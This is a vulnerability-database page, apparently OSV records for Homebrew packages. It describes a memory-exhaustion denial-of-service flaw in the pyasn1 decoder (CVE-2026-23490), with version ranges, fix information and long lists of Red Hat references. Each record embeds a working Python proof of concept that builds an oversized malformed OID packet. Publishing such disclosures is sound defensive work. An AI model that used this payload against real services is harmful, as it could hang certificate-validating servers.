    https://access.redhat.com/errata/RHSA-2026:17611 WEB
    https://access.redhat.com/errata/RHSA-2026:17595 WEB
    https://access.redhat.com/errata/RHSA-2026:17446 WEB
    https://access.redhat.com/errata/RHSA-2026:14020 WEB
    https://access.redhat.com/errata/RHSA-2026:13553 WEB
    https://access.redhat.com/errata/RHSA-2026:13545 WEB
    https://access.redhat.com/errata/RHSA-2026:13512 WEB
    https://access.redhat.com/errata/RHSA-2026:13508 WEB
    https://access.redhat.com/errata/RHSA-2026:37275 WEB
    https://access.redhat.com/errata/RHSA-2026:3359 WEB
    https://access.redhat.com/errata/RHSA-2026:3354 WEB
    https://access.redhat.com/errata/RHSA-2026:30088 WEB
    https://access.redhat.com/errata/RHSA-2026:28042 WEB
    https://access.redhat.com/errata/RHSA-2026:2758 WEB
    https://access.redhat.com/errata/RHSA-2026:2712 WEB
    https://access.redhat.com/errata/RHSA-2026:24977 WEB
    https://access.redhat.com/errata/RHSA-2026:24866 WEB
    https://access.redhat.com/errata/RHSA-2026:2486 WEB
    https://access.redhat.com/errata/RHSA-2026:2483 WEB
    https://access.redhat.com/errata/RHSA-2026:2460 WEB
    https://access.redhat.com/errata/RHSA-2026:2453 WEB
    https://access.redhat.com/errata/RHSA-2026:24483 WEB
    https://access.redhat.com/errata/RHSA-2026:24476 WEB
    https://access.redhat.com/errata/RHSA-2026:2309 WEB
    https://access.redhat.com/errata/RHSA-2026:2303 WEB

    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "pyasn1",
            "resource_purl": "pkg:pypi/pyasn1@0.6.5",
            "upstream_fixed_in": "0.6.2"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "aws-shell",
            "purl": "pkg:brew/aws-shell"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "0.2.2_6"
                },
                {
                  "fixed": "0.2.2_10"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/pyasn1@0.6.5",
            "name": "pyasn1",
            "resource": "pyasn1",
            "strategy": "registry",
            "subject_version": "0.6.5"
          }
        ]
      },
      "details": "### Summary\n\nAfter reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.\n\n### Details\n\nThe integer issue can be found in the decoder as `reloid += ((subId \u003c\u003c 7) + nextSubId,)`: https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496\n\n### PoC\n\nFor the DoS:\n```py\nimport pyasn1.codec.ber.decoder as decoder\nimport pyasn1.type.univ as univ\nimport sys\nimport resource\n\n# Deliberately set memory limit to display PoC\ntry:\n    resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))\n    print(\"[*] Memory limit set to 100MB\")\nexcept:\n    print(\"[-] Could not set memory limit\")\n\n# Test with different payload sizes to find the DoS threshold\npayload_size_mb = int(sys.argv[1])\n\nprint(f\"[*] Testing with {payload_size_mb}MB payload...\")\n\npayload_size = payload_size_mb * 1024 * 1024\n# Create payload with continuation octets\n# Each 0x81 byte indicates continuation, causing bit shifting in decoder\npayload = b\u0027\\x81\u0027 * payload_size + b\u0027\\x00\u0027\nlength = len(payload)\n\n# DER length encoding (supports up to 4GB)\nif length \u003c 128:\n    length_bytes = bytes([length])\nelif length \u003c 256:\n    length_bytes = b\u0027\\x81\u0027 + length.to_bytes(1, \u0027big\u0027)\nelif length \u003c 256**2:\n    length_bytes = b\u0027\\x82\u0027 + length.to_bytes(2, \u0027big\u0027)\nelif length \u003c 256**3:\n    length_bytes = b\u0027\\x83\u0027 + length.to_bytes(3, \u0027big\u0027)\nelse:\n    # 4 bytes can handle up to 4GB\n    length_bytes = b\u0027\\x84\u0027 + length.to_bytes(4, \u0027big\u0027)\n\n# Use OID (0x06) for more aggressive parsing\nmalicious_packet = b\u0027\\x06\u0027 + length_bytes + payload\n\nprint(f\"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB\")\n\ntry:\n    print(\"[*] Decoding (this may take time or exhaust memory)...\")\n    result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())\n\n    print(f\u0027[+] Decoded successfully\u0027)\n    print(f\u0027[!] Object size: {sys.getsizeof(result[0])} bytes\u0027)\n\n    # Try to convert to string\n    print(\u0027[*] Converting to string...\u0027)\n    try:\n        str_result = str(result[0])\n        print(f\u0027[+] String succeeded: {len(str_result)} chars\u0027)\n        if len(str_result) \u003e 10000:\n            print(f\u0027[!] MEMORY EXPLOSION: {len(str_result)} character string!\u0027)\n    except MemoryError:\n        print(f\u0027[-] MemoryError during string conversion!\u0027)\n    except Exception as e:\n        print(f\u0027[-] {type(e).__name__} during string conversion\u0027)\n\nexcept MemoryError:\n    print(\u0027[-] MemoryError: Out of memory!\u0027)\nexcept Exception as e:\n    print(f\u0027[-] Error: {type(e).__name__}: {e}\u0027)\n\n\nprint(\"\\n[*] Test completed\")\n```\n\n\nScreenshots with the results:\n\n#### DoS\n\u003cimg width=\"944\" height=\"207\" alt=\"Screenshot_20251219_160840\" src=\"https://github.com/user-attachments/assets/68b9566b-5ee1-47b0-a269-605b037dfc4f\" /\u003e\n\n\u003cimg width=\"931\" height=\"231\" alt=\"Screenshot_20251219_152815\" src=\"https://github.com/user-attachments/assets/62eacf4f-eb31-4fba-b7a8-e8151484a9fa\" /\u003e\n\n#### Leak analysis\n\nA potential heap leak was investigated but came back clean:\n```\n[*] Creating 1000KB payload...\n[*] Decoding with pyasn1...\n[*] Materializing to string...\n[+] Decoded 2157784 characters\n[+] Binary representation: 896001 bytes\n[+] Dumped to heap_dump.bin\n\n[*] First 64 bytes (hex):\n  01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081\n\n[*] First 64 bytes (ASCII/hex dump):\n  0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02  ..... @..... @..\n  0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08  ... @..... @....\n  0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20  . @..... @..... \n  0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81  @..... @..... @.\n\n[*] Digit distribution analysis:\n  \u00270\u0027:  10.1%\n  \u00271\u0027:   9.9%\n  \u00272\u0027:  10.0%\n  \u00273\u0027:   9.9%\n  \u00274\u0027:   9.9%\n  \u00275\u0027:  10.0%\n  \u00276\u0027:  10.0%\n  \u00277\u0027:  10.0%\n  \u00278\u0027:   9.9%\n  \u00279\u0027:  10.1%\n```\n\n### Scenario\n\n1. An attacker creates a malicious X.509 certificate.\n2. The application validates certificates.\n3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.\n\n### Impact\n\nThis issue can affect resource consumption and hang systems or stop services.\nThis may affect:\n- LDAP servers\n- TLS/SSL endpoints\n- OCSP responders\n- etc.\n\n### Recommendation\n\nAdd a limit to the allowed bytes in the decoder.",
      "id": "BREW-aws-shell-CVE-2026-23490",
      "modified": "2026-10-31T18:50:42Z",
      "published": "2026-08-13T16:37:01Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-63vm-454h-vhhq"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23490"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/be353d755f42ea36539b4f5053c652ddf56979a6"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/3908f144229eed4df24bd569d16e5991ace44970"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4148"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4147"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4146"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4145"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4144"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4143"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4142"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4141"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4140"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4139"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4138"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:39894"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3959"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3958"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2302"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:41928"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:42644"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4943"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:54757"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:5606"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/security/cve/CVE-2026-23490"
        },
        {
          "type": "WEB",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2430472"
        },
        {
          "type": "ADVISORY",
          "url": "https://github.com/advisories/GHSA-63vm-454h-vhhq"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pyasn1/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/blob/0f07d7242a78ab4d129b26256d7474f7168cf536/pyasn1/codec/ber/decoder.py#L496"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.2"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-1810.yaml"
        },
        {
          "type": "WEB",
          "url": "https://lists.debian.org/debian-lts-announce/2026/02/msg00002.html"
        },
        {
          "type": "WEB",
          "url": "https://pypi.org/project/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-23490.json"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2300"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2299"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2221"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19712"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1906"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1905"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1904"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1903"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17611"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17595"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17446"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:14020"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13553"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13545"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13512"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13508"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:37275"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3359"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3354"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:30088"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:28042"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2758"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2712"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24977"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24866"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2486"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2483"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2460"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2453"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24483"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24476"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2309"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2303"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "type": "CVSS_V3"
        }
      ],
      "summary": "pyasn1 has a DoS vulnerability in decoder",
      "upstream": [
        "GHSA-63vm-454h-vhhq",
        "CVE-2026-23490",
        "PYSEC-2026-1810"
      ]
    }

    BREW-AWSCLI@1-CVE-2026-23490 (GHSA-63VM-454H-VHHQ)

    Vulnerability from osv_homebrew – Published: 2026-08-13 16:37 – Updated: 2026-11-09 09:49 – Source website
    VLAI
    Summary
    pyasn1 has a DoS vulnerability in decoder
    Details

    Summary

    After reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.

    Details

    The integer issue can be found in the decoder as reloid += ((subId << 7) + nextSubId,): https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496

    PoC

    For the DoS:

    import pyasn1.codec.ber.decoder as decoder
    import pyasn1.type.univ as univ
    import sys
    import resource
    
    # Deliberately set memory limit to display PoC
    try:
        resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))
        print("[*] Memory limit set to 100MB")
    except:
        print("[-] Could not set memory limit")
    
    # Test with different payload sizes to find the DoS threshold
    payload_size_mb = int(sys.argv[1])
    
    print(f"[*] Testing with {payload_size_mb}MB payload...")
    
    payload_size = payload_size_mb * 1024 * 1024
    # Create payload with continuation octets
    # Each 0x81 byte indicates continuation, causing bit shifting in decoder
    payload = b'\x81' * payload_size + b'\x00'
    length = len(payload)
    
    # DER length encoding (supports up to 4GB)
    if length < 128:
        length_bytes = bytes([length])
    elif length < 256:
        length_bytes = b'\x81' + length.to_bytes(1, 'big')
    elif length < 256**2:
        length_bytes = b'\x82' + length.to_bytes(2, 'big')
    elif length < 256**3:
        length_bytes = b'\x83' + length.to_bytes(3, 'big')
    else:
        # 4 bytes can handle up to 4GB
        length_bytes = b'\x84' + length.to_bytes(4, 'big')
    
    # Use OID (0x06) for more aggressive parsing
    malicious_packet = b'\x06' + length_bytes + payload
    
    print(f"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB")
    
    try:
        print("[*] Decoding (this may take time or exhaust memory)...")
        result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())
    
        print(f'[+] Decoded successfully')
        print(f'[!] Object size: {sys.getsizeof(result[0])} bytes')
    
        # Try to convert to string
        print('[*] Converting to string...')
        try:
            str_result = str(result[0])
            print(f'[+] String succeeded: {len(str_result)} chars')
            if len(str_result) > 10000:
                print(f'[!] MEMORY EXPLOSION: {len(str_result)} character string!')
        except MemoryError:
            print(f'[-] MemoryError during string conversion!')
        except Exception as e:
            print(f'[-] {type(e).__name__} during string conversion')
    
    except MemoryError:
        print('[-] MemoryError: Out of memory!')
    except Exception as e:
        print(f'[-] Error: {type(e).__name__}: {e}')
    
    
    print("\n[*] Test completed")
    

    Screenshots with the results:

    DoS

    Screenshot_20251219_160840

    Screenshot_20251219_152815

    Leak analysis

    A potential heap leak was investigated but came back clean:

    [*] Creating 1000KB payload...
    [*] Decoding with pyasn1...
    [*] Materializing to string...
    [+] Decoded 2157784 characters
    [+] Binary representation: 896001 bytes
    [+] Dumped to heap_dump.bin
    
    [*] First 64 bytes (hex):
      01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081
    
    [*] First 64 bytes (ASCII/hex dump):
      0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02  ..... @..... @..
      0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08  ... @..... @....
      0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20  . @..... @..... 
      0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81  @..... @..... @.
    
    [*] Digit distribution analysis:
      '0':  10.1%
      '1':   9.9%
      '2':  10.0%
      '3':   9.9%
      '4':   9.9%
      '5':  10.0%
      '6':  10.0%
      '7':  10.0%
      '8':   9.9%
      '9':  10.1%
    

    Scenario

    1. An attacker creates a malicious X.509 certificate.
    2. The application validates certificates.
    3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.

    Impact

    This issue can affect resource consumption and hang systems or stop services. This may affect: - LDAP servers - TLS/SSL endpoints - OCSP responders - etc.

    Recommendation

    Add a limit to the allowed bytes in the decoder.

    References
    https://github.com/pyasn1/pyasn1/security/advisor… WEB
    https://nvd.nist.gov/vuln/detail/CVE-2026-23490 ADVISORY
    https://github.com/pyasn1/pyasn1/commit/be353d755… WEB
    https://github.com/pyasn1/pyasn1/commit/3908f1442… WEB
    https://access.redhat.com/errata/RHSA-2026:4148 WEB
    https://access.redhat.com/errata/RHSA-2026:4147 WEB
    https://access.redhat.com/errata/RHSA-2026:4146 WEB
    https://access.redhat.com/errata/RHSA-2026:4145 WEB
    https://access.redhat.com/errata/RHSA-2026:4144 WEB
    https://access.redhat.com/errata/RHSA-2026:4143 WEB
    https://access.redhat.com/errata/RHSA-2026:4142 WEB
    https://access.redhat.com/errata/RHSA-2026:4141 WEB
    https://access.redhat.com/errata/RHSA-2026:4140 WEB
    https://access.redhat.com/errata/RHSA-2026:4139 WEB
    https://access.redhat.com/errata/RHSA-2026:4138 WEB
    https://access.redhat.com/errata/RHSA-2026:39894 WEB
    https://access.redhat.com/errata/RHSA-2026:3959 WEB
    https://access.redhat.com/errata/RHSA-2026:3958 WEB
    https://access.redhat.com/errata/RHSA-2026:2302 WEB
    https://access.redhat.com/errata/RHSA-2026:41928 WEB
    https://access.redhat.com/errata/RHSA-2026:42644 WEB
    https://access.redhat.com/errata/RHSA-2026:4943 WEB
    https://access.redhat.com/errata/RHSA-2026:54757 WEB
    https://access.redhat.com/errata/RHSA-2026:5606 WEB
    https://access.redhat.com/security/cve/CVE-2026-23490 WEB
    https://bugzilla.redhat.com/show_bug.cgi?id=2430472 WEB
    https://github.com/advisories/GHSA-63vm-454h-vhhq ADVISORY
    https://github.com/pyasn1/pyasn1 PACKAGE
    https://github.com/pyasn1/pyasn1/blob/0f07d7242a7… WEB
    https://github.com/pyasn1/pyasn1/releases/tag/v0.6.2 WEB
    https://github.com/pypa/advisory-database/tree/ma… WEB
    https://lists.debian.org/debian-lts-announce/2026… WEB
    https://pypi.org/project/pyasn1 WEB
    https://security.access.redhat.com/data/csaf/v2/v… WEB
    https://access.redhat.com/errata/RHSA-2026:2300 WEB
    https://access.redhat.com/errata/RHSA-2026:2299 WEB
    https://access.redhat.com/errata/RHSA-2026:2221 WEB
    https://access.redhat.com/errata/RHSA-2026:19712 WEB
    https://access.redhat.com/errata/RHSA-2026:1906 WEB
    https://access.redhat.com/errata/RHSA-2026:1905 WEB
    https://access.redhat.com/errata/RHSA-2026:1904 WEB
    https://access.redhat.com/errata/RHSA-2026:1903 WEB
    https://access.redhat.com/errata/RHSA-2026:17611 WEB
    https://access.redhat.com/errata/RHSA-2026:17595 WEB
    https://access.redhat.com/errata/RHSA-2026:17446 WEB
    https://access.redhat.com/errata/RHSA-2026:14020 WEB
    https://access.redhat.com/errata/RHSA-2026:13553 WEB
    https://access.redhat.com/errata/RHSA-2026:13545 WEB
    https://access.redhat.com/errata/RHSA-2026:13512 WEB
    https://access.redhat.com/errata/RHSA-2026:13508 WEB
    https://access.redhat.com/errata/RHSA-2026:37275 WEB
    https://access.redhat.com/errata/RHSA-2026:3359 WEB
    https://access.redhat.com/errata/RHSA-2026:3354 WEB
    https://access.redhat.com/errata/RHSA-2026:30088 WEB
    https://access.redhat.com/errata/RHSA-2026:28042 WEB
    https://access.redhat.com/errata/RHSA-2026:2758 WEB
    https://access.redhat.com/errata/RHSA-2026:2712 WEB
    https://access.redhat.com/errata/RHSA-2026:24977 WEB
    https://access.redhat.com/errata/RHSA-2026:24866 WEB
    https://access.redhat.com/errata/RHSA-2026:2486 WEB
    https://access.redhat.com/errata/RHSA-2026:2483 WEB
    https://access.redhat.com/errata/RHSA-2026:2460 WEB
    https://access.redhat.com/errata/RHSA-2026:2453 WEB
    https://access.redhat.com/errata/RHSA-2026:24483 WEB
    https://access.redhat.com/errata/RHSA-2026:24476 WEB
    https://access.redhat.com/errata/RHSA-2026:2309 WEB
    https://access.redhat.com/errata/RHSA-2026:2303 WEB

    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "pyasn1",
            "resource_purl": "pkg:pypi/pyasn1@0.6.5",
            "upstream_fixed_in": "0.6.2"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "awscli@1",
            "purl": "pkg:brew/awscli%401"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "1.34.20"
                },
                {
                  "fixed": "1.44.20"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/pyasn1@0.6.5",
            "name": "pyasn1",
            "resource": "pyasn1",
            "strategy": "registry",
            "subject_version": "0.6.5"
          }
        ]
      },
      "details": "### Summary\n\nAfter reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.\n\n### Details\n\nThe integer issue can be found in the decoder as `reloid += ((subId \u003c\u003c 7) + nextSubId,)`: https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496\n\n### PoC\n\nFor the DoS:\n```py\nimport pyasn1.codec.ber.decoder as decoder\nimport pyasn1.type.univ as univ\nimport sys\nimport resource\n\n# Deliberately set memory limit to display PoC\ntry:\n    resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))\n    print(\"[*] Memory limit set to 100MB\")\nexcept:\n    print(\"[-] Could not set memory limit\")\n\n# Test with different payload sizes to find the DoS threshold\npayload_size_mb = int(sys.argv[1])\n\nprint(f\"[*] Testing with {payload_size_mb}MB payload...\")\n\npayload_size = payload_size_mb * 1024 * 1024\n# Create payload with continuation octets\n# Each 0x81 byte indicates continuation, causing bit shifting in decoder\npayload = b\u0027\\x81\u0027 * payload_size + b\u0027\\x00\u0027\nlength = len(payload)\n\n# DER length encoding (supports up to 4GB)\nif length \u003c 128:\n    length_bytes = bytes([length])\nelif length \u003c 256:\n    length_bytes = b\u0027\\x81\u0027 + length.to_bytes(1, \u0027big\u0027)\nelif length \u003c 256**2:\n    length_bytes = b\u0027\\x82\u0027 + length.to_bytes(2, \u0027big\u0027)\nelif length \u003c 256**3:\n    length_bytes = b\u0027\\x83\u0027 + length.to_bytes(3, \u0027big\u0027)\nelse:\n    # 4 bytes can handle up to 4GB\n    length_bytes = b\u0027\\x84\u0027 + length.to_bytes(4, \u0027big\u0027)\n\n# Use OID (0x06) for more aggressive parsing\nmalicious_packet = b\u0027\\x06\u0027 + length_bytes + payload\n\nprint(f\"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB\")\n\ntry:\n    print(\"[*] Decoding (this may take time or exhaust memory)...\")\n    result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())\n\n    print(f\u0027[+] Decoded successfully\u0027)\n    print(f\u0027[!] Object size: {sys.getsizeof(result[0])} bytes\u0027)\n\n    # Try to convert to string\n    print(\u0027[*] Converting to string...\u0027)\n    try:\n        str_result = str(result[0])\n        print(f\u0027[+] String succeeded: {len(str_result)} chars\u0027)\n        if len(str_result) \u003e 10000:\n            print(f\u0027[!] MEMORY EXPLOSION: {len(str_result)} character string!\u0027)\n    except MemoryError:\n        print(f\u0027[-] MemoryError during string conversion!\u0027)\n    except Exception as e:\n        print(f\u0027[-] {type(e).__name__} during string conversion\u0027)\n\nexcept MemoryError:\n    print(\u0027[-] MemoryError: Out of memory!\u0027)\nexcept Exception as e:\n    print(f\u0027[-] Error: {type(e).__name__}: {e}\u0027)\n\n\nprint(\"\\n[*] Test completed\")\n```\n\n\nScreenshots with the results:\n\n#### DoS\n\u003cimg width=\"944\" height=\"207\" alt=\"Screenshot_20251219_160840\" src=\"https://github.com/user-attachments/assets/68b9566b-5ee1-47b0-a269-605b037dfc4f\" /\u003e\n\n\u003cimg width=\"931\" height=\"231\" alt=\"Screenshot_20251219_152815\" src=\"https://github.com/user-attachments/assets/62eacf4f-eb31-4fba-b7a8-e8151484a9fa\" /\u003e\n\n#### Leak analysis\n\nA potential heap leak was investigated but came back clean:\n```\n[*] Creating 1000KB payload...\n[*] Decoding with pyasn1...\n[*] Materializing to string...\n[+] Decoded 2157784 characters\n[+] Binary representation: 896001 bytes\n[+] Dumped to heap_dump.bin\n\n[*] First 64 bytes (hex):\n  01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081\n\n[*] First 64 bytes (ASCII/hex dump):\n  0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02  ..... @..... @..\n  0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08  ... @..... @....\n  0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20  . @..... @..... \n  0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81  @..... @..... @.\n\n[*] Digit distribution analysis:\n  \u00270\u0027:  10.1%\n  \u00271\u0027:   9.9%\n  \u00272\u0027:  10.0%\n  \u00273\u0027:   9.9%\n  \u00274\u0027:   9.9%\n  \u00275\u0027:  10.0%\n  \u00276\u0027:  10.0%\n  \u00277\u0027:  10.0%\n  \u00278\u0027:   9.9%\n  \u00279\u0027:  10.1%\n```\n\n### Scenario\n\n1. An attacker creates a malicious X.509 certificate.\n2. The application validates certificates.\n3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.\n\n### Impact\n\nThis issue can affect resource consumption and hang systems or stop services.\nThis may affect:\n- LDAP servers\n- TLS/SSL endpoints\n- OCSP responders\n- etc.\n\n### Recommendation\n\nAdd a limit to the allowed bytes in the decoder.",
      "id": "BREW-awscli@1-CVE-2026-23490",
      "modified": "2026-11-09T09:49:12Z",
      "published": "2026-08-13T16:37:01Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-63vm-454h-vhhq"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23490"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/be353d755f42ea36539b4f5053c652ddf56979a6"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/3908f144229eed4df24bd569d16e5991ace44970"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4148"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4147"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4146"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4145"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4144"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4143"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4142"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4141"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4140"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4139"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4138"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:39894"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3959"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3958"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2302"
        },
        {
